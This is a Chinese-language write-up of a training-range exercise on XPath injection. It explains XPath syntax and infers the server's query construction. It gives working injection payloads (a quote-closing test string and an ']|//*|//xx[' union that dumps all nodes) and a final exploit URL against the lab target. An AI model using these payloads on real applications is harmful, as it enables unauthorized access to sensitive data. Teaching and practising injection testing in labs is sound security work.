题目背景介绍:
XPath即为XML路径语言,它是一种用来确定XML(标准通用标记语言的子集)文档中某部分位置的语言。XPath基于XML的树状结构,有不同类型的节点,包括元素节点,属性节点和文本节点,提供在数据结构树中找寻节点的能力。起初XPath 的提出的初衷是将其作为一个通用的、介于XPointer与XSLT间的语法模型。但是 XPath 很快的被开发者采用来当作小型查询语言。
Xpath注入攻击本质上和SQL注入攻击是类似的,都是一个恶意字符未过滤,而导致可查询到敏感数据。安全工程师"墨者"做了一个关于Xpath注入的页面,供大家测试。
题目基本要求:
1、了解XPath语法;
2、了解SQL注入的基本原理;
解题过程
首先第一次访问靶场的界面是这样的的:
于是使用Payload:' and '1'='1 判断闭合字符为单引号'
那么下面的目的就是列如节点下的所有元素:
Xpath语法中:
| 符号表述与运算,列如//book|//cd ,那么就会返回book和cd的节点集
// 表示从根节点开始解析
判断对方的后台代码拼接:
$query="user/username[@name='".$user."']";
那么想查出根节点下的所有元素,构造出来的Payload:']|//*|//xx['
那么最后后台接收到字符后的最终查询语句为如下所示:
$query="user/username[@name='']|//*|//sx['']";
两个单引号和]、[号,闭合了前后的单引号和小括号,那么接下来就使用|与运算符连接查询使用//*查询根节点下的所有元素,后面的|//sx是为了闭合后面的小括号,sx字符可以任意修改
最终exp为:http://xx.xx.xx.xx:44706/demo.php?name=']|//*|//sx['